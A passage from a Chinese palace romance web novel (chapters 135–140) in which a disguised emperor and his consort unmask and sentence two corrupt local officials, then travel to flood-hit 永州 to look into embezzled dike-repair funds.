他扔出来一支令牌,斥责姜念秋:“堂上不许喧哗!待本官看完双方证据后再做处理!” 这话说完之后,季寰望向他的眼神已经冷得如积年不化的冰雪一般。 姜念秋还好上前理论,被季寰捏住她的手腕。 力道很大,似是克制着浑身怒气。 她敏锐地察觉到了这一点后,停止了动作。 坐在高堂之上的谭利装腔作势地嬉戏看了看摊开的所有状纸。 这时,家丁再次出声:“知州大人,那上头的手掌印全是他们夫妇二人逼迫草民和弟兄们按下的,您可以对比!” 他还上前去,用墨汁给自己重新印了一个手印。 谭利将两个印记放在一处做了对比。 片刻后,他的矛头瞬间对准了季寰和姜念秋:“齐宣,你们竟敢欺骗本官,拿这种东西糊弄父母官?!” 不对啊! 姜念秋侧头去看季寰。 那份诉状是史奕弄来的,他做的东西绝对不会掺假。 “怎么可能?”姜念秋低低低喃道。 谭利下巴高高地扬起来,是一点儿恐惧也没有了。 甚至还将请愿书携带着令牌飞在季寰脚下:“你们自己看!” 令牌戳住了季寰的脚尖。 姜念秋能够感觉到季寰周深阴沉积聚到了一个顶点。 谭利再稍微努把力,这把火便能把他全烧了。 可眼下还不是时候。 于是,她抢先把请愿书拿起来,只是瞧了一眼,姜念秋就发现了不对劲。 她将请愿书往季寰那边挪了挪,低声道:“糟了,东西被调包了!” 真的那一份估计在昨晚便葬身火海,再也寻不到了。 谭利生怕事情有变,迅疾扔下令牌:“来人呐!给我把齐宣和他的夫人一齐押入大牢,听候发落!” 什么? 谭利和谭斯居然是抱着这种想法升堂的? 她还以为谭利是想着找个理由把谭斯救出来。 没想到是冲着他们两人来的! 姜念秋瞬间有些慌了,看向季寰,季寰眉目未动,唇扯出一抹讽刺的弧度。 “你,可想清楚了。” 语气阴鸷到极点。 谭利和谭斯同时被那说话的语气震撼到一瞬间,总觉得这人其实不太凡,可也不过是归结为是个有些富贵的公子哥儿。 由此,他还是下令让衙役上前。 外头传来一道高亢的喊声:“住手!” 闻言,姜念秋提到了嗓子眼儿的那颗心总算是掉进肚子里去了。 还好季寰早有准备叫庆白在外头候着,不然今天堂堂皇帝和妃子就要被个知州给扣押了! 那可就是千古传闻的笑柄! 谭利听着那声音,觉得有些熟悉,微微皱眉。 一见来人是庆白,谭利和谭斯二人同时笑出一声,跟听见了什么笑话一般。 谭斯更是放松地将手背在了身后。 高堂上的谭利满不在乎地瞥了庆白一眼:“庆白,本官刚刚把你放出去,你就开始猖狂了?” 听着他说话的口气,姜念秋有些震惊。 庆白怎么说都是巡抚,官阶遇官大一阶,谭利竟然敢这样子跟庆白说话? 看来……庆白和季寰汇报的情况还是替谭利美化了不少后的。 庆白以自己之躯侧面挡住了季寰和姜念秋。 与此同时,堂内的衙役均你看看我我看看你,不知道该不该动了。 又是响木刺耳的一声响动。 谭利脑子一热,指着季寰冲衙役喊道:“不用管他,押人!” 事已至此,是他们兄弟俩自作孽。 如此一来,得了什么样的因果,可是半点儿都由不得人了。 第135章 我打不得你 第一百三十五章 我打不得你 庆白身后有着最大的依仗,谁说话都不必听一字半句,他微微仰着下巴,一个字一个字地说道:“本官说了,不许动!” 从前从未听过庆白用这种语气说话,谭斯和谭利同时微微愣住。 衙役们看着这个阵仗全不敢轻举妄动。 一个县令、一个知州、一个巡抚。 哪个拿捏他们小小衙役不是易如反掌? 庆白和季寰在姜念秋身边,连带着她的腰板也直了不少。 谭利落在庆白身上的目光有了些许变化。 他蓦然发笑,笑意带着阴森森的感觉。 笑过后突然冷脸,起身将一大罐儿的令牌全朝着庆白砸了过去:“呵,庆白,我是否给你脸了?你也敢左右本官判案?来人呐,一起押下去!” 这时候的谭利已经被庆白刺激得头脑发昏了。 他完全不考虑前些日子还在折尾求生的庆白为何突然有了底气。 他只觉得在众人面前丢了面子。 此事不掰回来面子,他心中怒火难平! 姜念秋被突然砸过来的竹筒吓了一跳,反射性地侧身挡在季寰身前。 不想被一道大力拽在身后。 她和季寰都没被砸到。 令牌劈里啪啦地散落一地,是从庆白身上掉下去的。 堂内的衙役不敢动,外头更是一点儿声音也没有。 谭斯胆子比谭利小,这时候腿已经有些软了。 这二人是什么来头,竟然能让庆白舍身相护。 他越想越觉得不对劲,赶紧轻轻咳嗽两声给谭利提醒,可怒气充斥全身的谭利哪里听得进去。 他冲着门口大喊:“人呢?都去哪儿了?” “你的人,进不来了。” 沉默了整场的季寰终于开口。 不是什么狠话,却足够威慑。 那股子寒意浇得谭利和谭斯后脑就像是被猛地敲了一闷棍,谭利瞬间僵直在原地动弹不得。 他到底……是什么人! 庆白见外头情势已经控制住,转身对着季寰和姜念秋跪了下去。 随后,为首的抽调精兵上前来,同庆白跪在一处,姿态恭敬异常。 当谭利和谭斯愣住的时候,他们的耳朵清清楚楚地听见首领说:“皇上、宜妃娘娘,微臣救驾来迟,还请皇上宜妃娘娘降罪!” 轰隆—— 就像是在脑子里炸开了无数套炮仗,炸得谭斯和谭利两人脚下踉跄。 谭利更是直接向后退了一步,被椅子腿儿绊倒,瘫坐在椅子上。 谭斯扑通一声跌在地上,不可置信地看着眼前人,一颗心挂在了喉咙间。 堂内死一般的宁静。 姜念秋挑眉,撇撇嘴,心想:这就把你们吓趴了啊? 刚才说要找人把他们抓起来时候的那股子劲儿呢?哪儿去了?! 谭利是强撑着才能再站起来的,他指着那个兵:“你、你说什么?” 密卫当然不会回应他的问话。 密卫组织只忠诚于皇上,只对皇上命令和令牌有反应。 期间,谭利不小心触及季寰投射而来的眼神,吓得腿上丁点儿力气也没了。 庆白看着连滚带爬下了台阶的谭利,心中好不痛快。 他冷哼一声,终日以来的愤懑总算是泄出去一些了。 庆白转过头去,对谭利冷眼相加:“谭利、谭斯,你们真是瞎了眼,连当今圣上和宜妃娘娘都敢抓。” 闻言,谭利和谭斯的脑袋已经完全停止了转动。 看着他们两个人怔愣、额头上冒出一大堆汗的样子,姜念秋别提多痛快了。 光是看,太不过瘾。 她捡起地上的令牌,朝着谭利和谭斯的脑袋一人砸了一下。 尤其是谭利,他不是喜欢砸东西么。 那就叫他也尝尝看这种滋味好了。 这回好了,就算是被砸得额角出了一道口子,疼得他有些龇牙咧嘴,他也只不过是敢低低地呢喃一句:“皇上……宜妃?!” 怪不得…… 怪不得谭利和谭斯都感觉此人身段、气质都不像是普通人。 怪不得连一向不敢同他们作对的庆白都有这么大的胆子,敢违逆他。 原来,齐宣是化名。 早该想到的! 齐宣——季寰。 明明是一脉所出的名字。 他和谭斯还傻傻地以为不过是哪个不要命的敢来打探他们的虚实。 不想竟是皇上。 来告状谭斯是假,微服私访借机整顿他们兄弟二人才是真。 怪就怪在他们二人官阶太小,当初都不够资格上殿面授官职。 如今直接掉进了陷阱之中。 庆白直截了当地告诉谭利谭斯:“谭利、谭斯,你们俩作恶多端,如今惹到了圣上头上,死期到了!” 密卫默不作声地给季寰和姜念秋每人搬了一把凳子来。 季寰坐下后,姜念秋才跟着坐下。 那些因为出宫而收敛起来的皇家气概,此刻像是倾巢而出。 谭利悔恨无极,抬起手对着自己青白交加的脸就是好几·巴掌。 打下去后,脸上第三道颜色出现——红到手指印儿都清晰可见。 他和谭斯同时朝着季寰的方向跪着爬过去。 偏偏庆白在前,他们还不能距离太近。 谭利赶紧调转话头,把一切都栽赃在庆白身上:“皇上,您可千万别听信庆白的话,他是嫉妒我二人偏得百姓爱戴,才会如此陷害呀!” 姜念秋光是听着都替谭利觉得臊得慌。 他们兄弟俩受百姓爱戴? 是盖着被子做的美梦吧? 季寰微微向前探身,一手压在膝盖上,压迫力宛如一座深山:“你说朕给的证据是假,是吗?” 谭利闭上眼睛,豆大的汗珠顺着额前留下来。 如果他知道此人是皇上,给他几千几万个胆子也不敢烧毁请愿书。 更做不出叫人押解皇帝的事情。 谭利被这句话堵得哑口无言。 谭斯更是话哽在喉咙处,连发声的本事都要失去了。 下一个问责的便是他。 季寰头稍稍转动,眸底阴冷:“还有你,朕打不得你,是么?” 听到这话,谭斯吓得浑身抖如筛糠。 藏在他身后的所谓“证人”早已全部匍匐在地,连呼吸都得小心翼翼。 说到底,季寰那次打他亦是事出有因,若非谭斯抢先叫人上来,季寰怎会动手? 就算他打了谭斯,身为九五至尊,生气要了他的命都是成的。 第136章 浸猪笼 第一百三十六章 浸猪笼 谭斯连连摇头:“不不不,微臣的命就是皇上您的命,全听凭您处置!” 前两天还趾高气昂的两个人,此刻匍匐在自己脚边。 感觉真是痛快! 姜念秋得意地冲着谭利谭斯翻白眼。 还好她的椅子距离季寰稍微后了一点儿,看不见她的小动作,不然又要挨数落了。 谭斯比谭利今日犯下的错稍微轻一些,还算能正常思考。 又是一桶脏水直接泼在了庆白头上:“皇上,微臣和知州大人只是以为庆白捉弄才会如此,今日之事是微臣做错了……” 庆白俯身,冷笑。 他谭斯以为皇上是这么容易糊弄的人么? 事实真相被轻易地转了过去? 简直是异想天开! 季寰手冲着姜念秋张开,身旁的人立马明白过来他要什么。 一块儿令牌递到了他手心。 “啪!” 男子的力气本就比女子大上不少,再加上季寰准星要比姜念秋好多了。 令牌的尖尖直接借着巧劲儿敲进谭斯额前。 瞬间给他脑袋敲了个血窟窿,鲜血直冒。 那一下虽然不致命,却看着足够吓人,也让他再也不敢胡说八道。 季寰起身,走到谭斯跟前,一只手摁在他头顶,死死地往下压,直至血窟窿和地面紧密贴着。 “做错了,就当罚,县太爷,你说是么?” 县太爷三个字,季寰几乎是咬着牙说出口的。 贪官污吏他见多了,敢冲着他动手的,这兄弟二人是头一份儿。 谭斯哪里还敢说话,只认命地闭上了眼。 史奕及时上前,递上干净的手帕让他擦手。 手帕扔在谭斯头顶。 季寰在谭利和谭斯跟前转悠了几圈儿,幽幽说道:“不过……打你们脏了朕的手,游街示众更是脏了百姓的眼睛。” 姜念秋又是翻了白眼。 就是! 季寰的手可是操控天下的手,怎能屈尊处理这些污糟人渣? 估摸着百姓也不想见着这两副肮脏的面孔。 这种人就是放狗咬他们那都是把狗狗的牙给弄脏了。 她正在脑海里幻想着用现代化武器一下一下崩他们呢,就听见有人在叫她:“宜妃。” 姜念秋猛然醒神,站得直溜溜的。 看她这样,季寰就知道她是走神了,但也没怪罪。 她略有紧张:“臣妾在。” “你说,该如何处置这两个人?” 姜念秋懵了,伸出手指指了指自己,口型在说:“我?” 季寰点头。 这可真的贼大一个好事儿落在她头上。 天晓得当知道了谭利谭斯是这儿的土皇帝后,她心里有多气愤,现下季寰竟然把处置机会留给她了。 真是老天有眼,叫她给珠玉和其他无辜老百姓报仇呢! 姜念秋好生思考一番,最终定下方案:“依臣妾看,不如装进猪笼里,淹上个十天半个月吧。” 这时候对女子最残忍的做法莫不过于此。 把活生生的女子装进猪笼之中淹没在汹涌河中。 躺在猪笼里的女子何辜! 就应该让他们兄弟二人也尝尝这种滋味才行! 季寰笑了笑,可笑容冷若冰霜。 他在笑姜念秋果然是个什么都不懂的女娃娃。 想到的最残忍的法子不过如此。 她不知道的是,此地之人全都水性极好,再加上谭利谭斯乃是男人,想从猪笼之中挣脱不是不可能的。 他点头:“好,传朕口谕,谭利谭斯二人不配为官,做下滔天罪恶,合该株连九族,但念及百姓苦楚,不如赏了凌迟之刑,再浸铁笼百次。” 就让他们拿身上的肉一块儿一块儿地献祭给那些无辜的百姓。 再用铁笼禁锢,算是为庆白出气。 这样的刑罚光是听着便叫人头晕目眩。 更别说当事人在场,马上要经受了。 谭利和谭斯磕头磕得砰砰作响,连连求饶:“皇上,皇上!微臣知道错了!求皇上饶过微臣吧!” 曾几何时,砖上流过多少老百姓的鲜血。 他们也是这样子磕破了脑袋,企图求上一个公正。 可惜,谭利和谭斯没给。 既然当初他们没给,那就拿今日的还给他们。 密卫们上前,直接用棉布堵住了兄弟二人的嘴,拉了下去。 剩下的家丁和大娘季寰也没忘记。 他喝下一口温热的茶水,淡淡道:“至于那些同流合污的……为无良的官做假证,就同他们一个待遇吧。” 不是他心狠。 而是史奕一早查清这些个人跟着谭利谭斯搜刮民脂民膏,根本不值得同情。 更别说他们今日乃是冒犯圣颜。 本是该抄家灭族的,想念着姜念秋在场,便就这么处置算了。 大娘直接吓得晕了过去,家丁哽咽叩头:“皇上、娘娘……求您放过我们吧,我们知错了!” 密卫们照样也没给他喊冤的机会,一并拖了下去。 姜念秋心里拍手叫好。 叫你们猖狂! 也不看看惹到了谁! 还是身居高位好,能为底下的人寻一个平`反的机会。 宿州的贪官污吏处理完了,季寰转眸注意到了庆白还跪着。 他便挑眉,对庆白道:“庆白,你渎职之罪朕还没处置呢。” 能够把谭利谭斯惩治掉,庆白死而无憾。 他恭恭敬敬地叩首:“微臣但凭皇上处置!” 姜念秋愣了下,庆白在此事上更多的是受害者的身份,他是最不该被惩罚的了。 她抿唇,心想为庆白作一番求情。 话还没说出口,季寰已重新开口:“新的知州县令上任前,由你兼任,若有一点儿不对的,你可小心你的脑袋。” 听完,姜念秋微微皱着的眉头缓缓松开。 她就说……她认识的季寰没那么是非不分的! 庆白亦是一愣,随后赶紧谢恩:“微臣谢过皇上!皇上万岁万岁万万岁!” 宿州出了这么大的变动,不可能不和底下的百姓说清楚。 布告之中当然不能提及季寰和姜念秋,若是说了,以后的地方还如何查案。 于是,季寰又叮嘱了一句:“今日功绩皆记在庆白及调派兵卒名下,布告之中不得提及朕与宜妃分毫。” 成了事儿,还不领功。 季寰此举更是叫姜念秋心头一暖。 庆白亦是对季寰佩服得五体投地:“是,微臣领旨。” 布告之中不写皇上功绩,可在庆白心中,这件事情是会记上一辈子的。 第137章 离开宿州 第一百三十七章 离开宿州 离开了衙门后回客栈的路上,姜念秋一直在笑。 季寰看她一眼,就差把高兴两个字写在脸上了。 他眉梢微微挑起一点点,问她:“这么高兴?” 这些天里都没见过姜念秋笑成这样子。 就算是笑笑,也有着化不开的忧愁。 细细想来,应该和珠玉以及谭利谭斯的事情有关。 可就算是整治了此事,姜念秋也不至于这么高兴吧? 他不知道的是,她的情绪并非只因为惩治了恶人。 有一部分是出自于季寰的缘故。 姜念秋没想隐瞒这一点。 她靠近季寰,眼睛亮晶晶的:“坏人得到惩罚臣妾当然高兴,对了,刚才您帅爆了!” 刚刚进这具身体的时候,姜念秋听到的最多的就是季寰乃是暴戾君主。 渐渐的,姜念秋觉得这个说法貌似并没那么准确。 直到今日,亲眼见着季寰浑身散发的压迫感,她才知道当权者竟然是这样的。 或者说当权者就应该是这样的。 只有这般的人才能压制住邪门歪道。 所以姜念秋才会一直用星星眼偷看他的。 季寰听完她说的话,稍微愣了一下。 有些字句他不是很理解,于是歪头看她:“嗯?什么是……帅爆了?” 从前听过小翠说主子很多话她们都听不懂,可主子性子极其好,所以很容易伺候。 他还不相信。 这回可是真真切切地体会了一把。 姜念秋不好意思地挠挠头。 她有点儿漏出真面目来了,把她那个时候的话说了出来。 真要解释起来,姜念秋也有些犯难。 “不是好话?”季寰故意逗她。 姜念秋连连摆手,否认:“当然不是!” 她哪里敢对季寰说坏话啊! 想了半天,她捡了个还算好理解的词语:“就是很风流倜傥!” 今日解决了谭利和谭斯,姜念秋逛集市的形势又重新回来了。 拉着季寰把一条街从头到尾地逛了一遍。 季寰倒也不厌其烦,什么都由着她。 回到客栈后,姜念秋累得倒头就睡,季寰苦笑摇头,还得自己研究密卫呈递来的奏折。 上头报告着许多赋税及时变化和京中情况。 第二日一早,他们该再次出发了。 毕竟宿州不过是此次出巡的过路地点而已。 经历一晚,庆白的布告也已经贴满了人`流量较大的地方。 和季寰交代的一样,他们二人都没有出现名字,可庆白还是给写着是有知情人士透露举报,谭利和谭斯才下台的。 姜念秋称赞道:“这位大人倒是高风亮节。” 对此,季寰一点儿也不意外。 庆白毕竟是自己亲手提拔的巡抚,自然不会有问题。 旁边的百姓们看完布告,讨论声满天飞。 “该!这两个吃人血馒头的贪官,早就该下马了!” 那人怒目而视,对着那布告指指点点。 姜念秋听着那语气都能感觉到百姓对谭利谭斯的恨意。 这是碰上了珠玉的事儿才拉出来这些,没碰上的呢? 恐怕只会有过之而无不及吧? 季寰昨天那样子罚他们,还有些轻了呢! 那人旁边的百姓附和着点点头:“就是,我家今年缴纳了三回税赋,知州还要再来,再这么下去我真没命活着了。” 足足多了两倍的赋税。 可是朝廷并未收缴那么多。 可见谭利和谭斯中饱私囊,欺骗朝廷到了何种程度。 百姓们着实痛快,赞赏道:“庆白大人查清一切,赶走他们简直是大快人心!” “也得亏了这两个知情人士,他们不戳破,咱们哪儿敢动手?” 被夸奖了的姜念秋心里暖暖的。 也对,就是因为季寰和姜念秋都是外头的人,没有顾虑,再加上身份加持,他们才能够把此事办得这么漂亮。 本地人哪里能甩下一切? 他们可还是要在这里讨生活的。 季寰和姜念秋大概听了听民意后,便退出了人群。 上了马车后,姜念秋觉得就这么走了,对庆白有些不公平。 她再次靠近季寰:“皇上,臣妾觉得庆白大人在此事之中着实可怜,您不贴补他些吗?” 怎么说庆白大人也是被谭利和谭斯两兄弟狠狠欺负了那么久的人。 现下只是让他兼任知州和县令,别的补偿一概没有…… 是不是有些伤了好官的心。 季寰缓缓合上了奏折,狭长丹凤眼微微眯起。 姜念秋当然知道自己说的涉及政事,可这不是为民进言嘛,她觉得也没什么大不了的。 一只大手捏住姜念秋小巧的下巴,力道很是轻地晃了晃。 另一只手抬起来,手指交叠,“砰”地敲在姜念秋脑门上。 声音大,力道也大。 疼得她瞬间捂住了脑门,小声嚷嚷他不懂怜香惜玉。 季寰见她吃瘪,反倒笑起来:“胆子是越来越大了,教朕做事了?” 她知不知道,这些话不能由宜妃的嘴里说出来? 尤其事关官员任免。 若真是被有心人听了去,她往哪儿站? 哪怕是以三爷三夫人的名义说出口都无妨,可就这么巧,她用的是臣妾称呼。 这便是需要纠正的地方。 姜念秋更是个聪明的女人,她瞬间领略到了季寰的意思。 皇上的事儿轮不到她做主。 但出来后的三爷则没事儿。 姜念秋一边揉着被敲疼了的额头,一边从善如流地道:“我这不也是想着能为您分忧解难嘛。” 果然,她纠正了自己的称呼之后,季寰没再有别的动静了。 姜念秋的想法,季寰并非没有过。 只是没办法直接给他补偿。 因为没有名目。 庆白在外看似是做了功绩,可实际上是什么样他心知肚明。 面对谭利和谭斯这般棘手的情况没有反抗的能力,本就是无能了。 不能因为一句同情,便胡乱行事。 那杆名为公平的秤远远不能打平。 想了想,季寰还是拒绝了姜念秋的提议。 “补贴他的事得看他做不做得出花儿了。” 只要是能做出来实绩,多少补偿都是少的。 姜念秋仔细琢磨了下季寰的话。 也是,他要考虑的应该比自己多。 想起那个庆白挡在他们身前时,胳膊上露出来的疤痕,姜念秋是有些惋惜。 堂堂巡抚大人,被一个知州用了私刑,还不允许上报。 他内心深处得有多绝望。 第138章 新路 第一百三十八章 新路 如果不是季寰恰好来了,庆白会不会就此失去和贪官拼搏的斗志? 培养一个心腹极其困难,败在这种人渣手里,实在太冤了。 姜念秋感叹道:“各地巡抚若是都这样,可就真真是够倒霉的,就应该给他们点儿权力镇一镇才好。” 就像那日抽调给了巡抚一部分密卫一样。 这样一来,巡抚自身安全也有了保障。 闻言,季寰从奏折之中抬起了头。 丫头有时候冒出来的话也不都是临时起意的。 刚才说的那些听起来很是有意思。 季寰合上奏折,当真开始思考起这件事情的可行性。 巡抚兵力不宜多,否则对当地也是不小的威慑。 很快,一套合适的方案便已在季寰脑子里形成了。 到了一个小驿站的时候,季寰吩咐下去:“史奕,传朕旨意,即日起各地巡抚加派五百精兵入手,奏折享快马入京。” 眼下他能做的只有这些。 最起码能够保证姜念秋所说,巡抚不会再出现类似于庆白的情况。 巡抚能抽掉兵力,更能直接保护自己的安全。 奏折用快马鞭策入京,更能减少贪官污吏从中作梗的风险。 其余监察制度还得回京之后好好研究一番方能定下。 史奕将一切记下,恭敬拱手道:“属下明白。” 史奕立即到一旁去写下奏折,然后叫人去联系信使。 随后将皇上口谕派往全国各地。 姜念秋正喝着茶,听他说完这些,唇间那口带着我明显霉味儿的茶水都显得格外清香泠冽。 他……真的有在好好思考她说的话诶! 这多难得! 姜念秋想着想着,噗嗤笑了笑,看向季寰的眼神之中充满温柔。 “怎么,被茶水呛着了?” 季寰可不愿意喝驿站随意拿上来的茶水。 她美其名曰要尝尝看不用地方的茶叶有什么不一样。 这下好了,呛着自己了,眼眶都微微有些水光呢! 姜念秋摇摇头,真心实意地赞美季寰道:“百姓有您,实乃百姓之福也!” 以后谁要是说季寰是暴君,她第一个跳出来反驳才行。 奉承这些的话季寰听过了不少,只有姜念秋说的每一句,恰好都敲在了他心尖儿上。 可傲娇如他,怎么可能因为几句话便失去身段。 人微微咳嗽两声掩饰尴尬,没想到引起小丫头闷闷的一声笑。 像是季寰有时看见姜念秋可爱那样,从季寰脸上窥视到些许窘迫,姜念秋更容易被触动到。 他伸手捂住姜念秋脸:“嘴贫的话,和谭利谭斯一道对待。” 谭利和谭斯的刑罚实在吓人,姜念秋身子抖了抖,赶紧保证:“臣妾闭嘴,臣妾绝对不再多言了!” 变化得太快了。 季寰没忍住,朗声笑出来。 她也不想想,连不生养子嗣的大事儿,他都做不出放弃她的举动来。 又怎么会因为一句话把她那般对待。 猛地伸出手,把人搂进怀里,眼神柔`软得如水波:“接下来的路恐怕还得靠着你活络气氛,说说倒也无妨。” 姜念秋愣了片刻。 她敏锐察觉出来季寰说话语气有些许细微的变化。 再加上都需要她来活络氛围,是不是意味着巡游要到了最关键的节点了? 虽然说姜念秋一路上玩乐居多,但她并未忘记出巡的主要目的。 查清赋税不是件简单的事儿。 她正色起来,悄悄握住季寰的手。 二人掌心贴在一处,彼此温度交融。 姜念秋轻声问:“咱们要去的是……” 季寰捏了捏她柔`软的虎口,声音压低不少:“永州,此次出巡的目的地,亦是税赋最不清明、实际很有可能是如深渊的地方。” 他的心腹派去了就回不来了。 能否暗中排查清楚,或许是个不小的坎儿。 姜念秋不再胡说八道,只一味地握紧季寰的手。 一路向南行路,气候也变得越发和中原地带不同。 比靠近南边的宿州更加阴湿。 二人站在永州的城门下,不约而同地抬起头来看向城门上的牌匾。 一下车那种阴湿的感觉扑面而来,像是置身于蒸笼之中一般。 姜念秋下意识皱眉,小声说道:“三爷,此处貌似甚是潮湿。” 按道理来说,在船上所受湿寒应该比水乡更甚。 可不知道为什么,到了永州附近,居然还不如在船上的气候宜人呢! 而且此时已是深秋。 并非雨季的地界,应当不会如此才对。 季寰亦是眼神变了。 他的心腹在一月前上报的情况便是这样,后来,便再也没什么变化和回信了。 回应的声调有些沉闷:“你说对了,永州便是前些日子闹涝灾的一个地界。” 闻言,姜念秋点点头。 闹涝灾、湿度大些也情有可原。 可是很快,她便感觉到了有什么地方不对劲的地方。 她猛地转过头去,奇怪地问:“可您不是已经修建了堤坝、用上了改良的水车和防水纸吗?怎么还会如此?” 犹记得当初季寰可是说了闹涝灾的地方基本控制住了。 再怎么说也应该情况会好不少。 为什么永州处一丁点儿改善都没有? 跟她曾见过的南方回南天没什么两样。 季寰短促地笑出一声,笑声之中盈满了讽刺的意味:“其中的鬼,看着是不少。” “走吧,咱们进去瞧瞧。” 姜念秋左右看看,觉得这地方的人真是奇怪。 如此难受的气候,没什么人进城是正常的,可居然没多少人往外跑。 受到天灾人祸,任何人不应该都是避开么? 为何永州同别处不一样呢? 进城后,出乎二人意料的是,所有的商贩等全部正常生活,哪怕是身上沾满了潮气,亦每一个人停下来忙碌的动作。 如果不是气候太差,季寰和姜念秋都瞧不出一点儿其中的门道来。 姜念秋找了个过路的姑娘问了几句这里的情况。 在得知她并非本地人后,姑娘只是深深地看了她一眼,又往城门口瞟了下,嘴上却说了一句不知道。 怪诞的做派。 季寰并未显现出丝毫惊讶。 百姓不敢说真话,无非两种可能:一,他们不会说话;二,上头的人不让他们说话。 他更相信那姑娘的情况是第二种。 第139章 没钱修的堤坝 第一百三十九章 没钱修的堤坝 于是,季寰便产生了要去堤坝上看看的意思。 他叮嘱姜念秋就在客栈中等着他,可姜念秋说什么也不愿意自己呆着。 她搂住季寰胳膊不松开,一个劲儿地摇头:“我要跟在三爷身边。” 永州怪怪的,她心里跟着也毛毛的。 跟在季寰身边更有安全感。 季寰沉默片刻,什么都没有说将人带着了。 永州的堤坝在向东走一上午的地方。 他们的马车到达时,正赶上了日头正盛的时候。 马车被几个兵在几十米的地方拦住。 那兵卒累得嘴上都起了不少的干皮,他还算和和气气地对史奕道:“兄弟,这地方是军工重地,闲人免入,请回吧。” 史奕看他一眼,心中难免会有所触动,轻轻颔首。 回到马车旁,史奕将原话转述。 姜念秋想,这地方的兵卒还算兢兢业业。 这么烈的天还坚守在这儿,已经很是难得的尽忠职守了。 季寰从一旁的小箱子里取出一个小荷包来递给他:“去把这个印给他们看。” 印章转交给兵卒,兵卒在看完连忙派了一个人又将印章拿走。 剩下的兵卒走到马车旁,恭恭敬敬单膝跪下:“原来是巡抚大人派来的特使,小的失敬!” 特使? 乖乖,季寰这是自降了多少身家啊。 季寰和姜念秋下车后,立刻有人递下来消息:“还请大人上来吧。” 他们二人被放行至门口的时候,里头小跑出来个身穿盔甲的男子。 他皮肤黝黑,看也能看出来是个极其憨厚的人。 一见着季寰,立刻拱手:“永州城堤坝总头李叶参见大人。” “李总头免礼。” 姜念秋还是头次见着这么魁梧,长相粗糙的男人,不禁把身子往机会身后藏了藏。 “这位是……” “家妻刚来永州,不甚习惯,只好带在身边,李总头勿怪。” 家妻二字直接叩打在了姜念秋心头之上。 他说她是家妻。 虽说是不想暴露身份的说辞,可能叫皇帝说出这两个字,何其珍贵。 姜念秋不由得有些失神。 李总头笑了笑,表示理解。 季寰指了指上头的堤坝:“可否劳总头带着我在这坝上转转?” 闻言,李总头反倒是有些怔愣。 上头来的人很少愿意亲自上去的。 毕竟堤坝上不安全,又是泥又是水的。 “不方便?” 李总头回过神来,连连摇头道:“没有没有,您跟着我走,坝上不安全,一切小心为上。” 别说,姜念秋就跟提前知道今儿个会上堤坝一般,身上穿了件贴身的,上上下下不成问题。 直到上去之后,姜念秋才直到此处有多破旧。 那堤坝上全是坑坑洼洼,她险些一脚踏空,从堤坝上掉下去。 还好季寰眼疾手快,把人捞了回来。 否则不知道这东一块儿西一块儿的,得去哪儿找她了。 上去后,姜念秋瞧见了堤坝那头的情况。 怪不得永州潮气这般严重。 原来那边儿的雾气根本没散开。 正在越过破烂的堤坝往永州城内走。 季寰皱眉:“总头,你这处堤坝修了塌塌了修,总得有四五次了吧?” 能看出来每一次都只是拿简单的沙袋往高垒。 针对永州城的情况,这样的做法根本解决不了实际问题。 一说到这里,李总头长吁短叹:“大人明鉴,这地方要是再拿不着钱来好好修,迟早是淹进城里去的。” 彻底入冬之前,应该还有一场降温的大雨。 如果没有及时修好堤坝,大雨冲毁了最后的屏障,受害的只有老百姓了。 姜念秋光是听着,都觉得百姓何辜。 上头的官员是做什么吃的? 再结合刚才遇见的那个姑娘,她越发奇怪,城中人明知道永州可能会出事,为何还在此地停留,不另寻他处置身? “朝廷之前不是拨了一笔救济?赋税也减免了半年,怎的还没有钱用?” 季寰的心腹当初也是查到了这里,说是赋税很高,可堤坝上、城建之上根本无钱可以调派。 李总头被季寰说得一头雾水。 什么救济、什么时候减免了赋税? 他二人相视一眼,都明白过来。 李总头讽刺地笑笑,因为不敢当着上头人胡说八道,他只是隐晦说了一句:“这我就不知道了,左右是难为了咱们下面的人。” 钱到了哪里,根本不是李总头能管得了的。 他能做的不过是护卫堤坝而已。 哪天堤坝掉下来,他跟着埋身,也算死得其所。 姜念秋从季寰身后探出一颗脑袋来,直接问到了最关键的人:“那永州知州呢?他没主持大局么?” 身为一方百姓父母官,他是最该冲在前头的。 赋税不清明、百姓生存受损,他最该问责! 李总头的回复也是很不明确:“知州大人说是去别处习得防涝法子,至今未归。” 这倒是奇了。 百姓在城中受苦受难。 知州出去找寻法子这么久,居然还不回来,还不允许城内人离开。 姜念秋冷哼一声。 到底是找法子,还是找乐子。 其中自然不言而喻。 季寰转过头问姜念秋:“你可还记得改良版水车和水泥的方子?” 这些对修建堤坝是重中之重。 既然发放下来的没到总头手中,那就再给他们一份儿。 姜念秋点头:“我记得,呆会儿回到马车中写给三爷。” “辛苦。” 还好此次来带的是姜念秋。 否则如何能解眼下的局面呢? 他对李总头道:“即使如此,总头可收着我给的那枚印,那是特令,你且叫人去挪动钱款,防涝之事早些打算才行。” 季寰就不信了,这么大一个永州城,连修建堤坝的钱都调不出来。 李总头脸露喜色:“大人所言属实?” “君子一言,驷马难追,有人胆敢拦一下,便叫他们来和我说话。” “总头放心,在永州绝无人敢违背特使的话!”姜念秋信誓旦旦地说道。 这不是废话么? 别说是永州了,就算是全梁朝天下也没人敢违抗季寰的话。 除了她有时候不听…… 李总头瞬间跪在了泥土里,嗓音颤抖:“属下替永州百姓谢过大人!” “起来吧,你能守着这座城亦是不易,该替百姓们谢你才是。” 第140章 知人知面 第一百四十章 知人知面 处理完了李叶这里的事儿,季寰和姜念秋便回到了客栈之中。 不过钱粮到达的第三日,还没彻底分发至各处,便有一位不速之客到达客栈。 史奕敲了敲门,得到允准后推门而入:“三爷,永州知州刘畅起在外求见,您可要见见?” 姜念秋好不容易从毛笔和季寰的双重折磨中逃离,心里不知道多感谢史奕的敲门。 可等到知道史奕是为谁而敲门时,她愣住一秒。 随后,和季寰相视一笑。 她挑眉,直言说道:“哟,这位知州大人倒是个厉害人物啊,永州没钱的时候不露面儿,刚刚才有钱了立马找上门来了?” 别说什么他是知道来了特使才特意赶回来的。 如果真是这样子,知州应该在当天就找人来招待他们,而不是在钱粮到位后直接来见人。 姜念秋悄悄观察着季寰的表情,觉得他对此人有些想法,她从善如流道:“三爷,您若是想见见这位人物,我就先下去了。” 再怎么说也是政事。 姜念秋也应该保持些距离。 不然总是掺和进去,迟早会叫季寰心里不舒服。 没想季寰直接摇头拒绝,抬手留人:“不必,你在场他才不会起疑心。” 一个说话不避讳夫人的特使,能弱化他身份的疑点。 是最好的伪装。 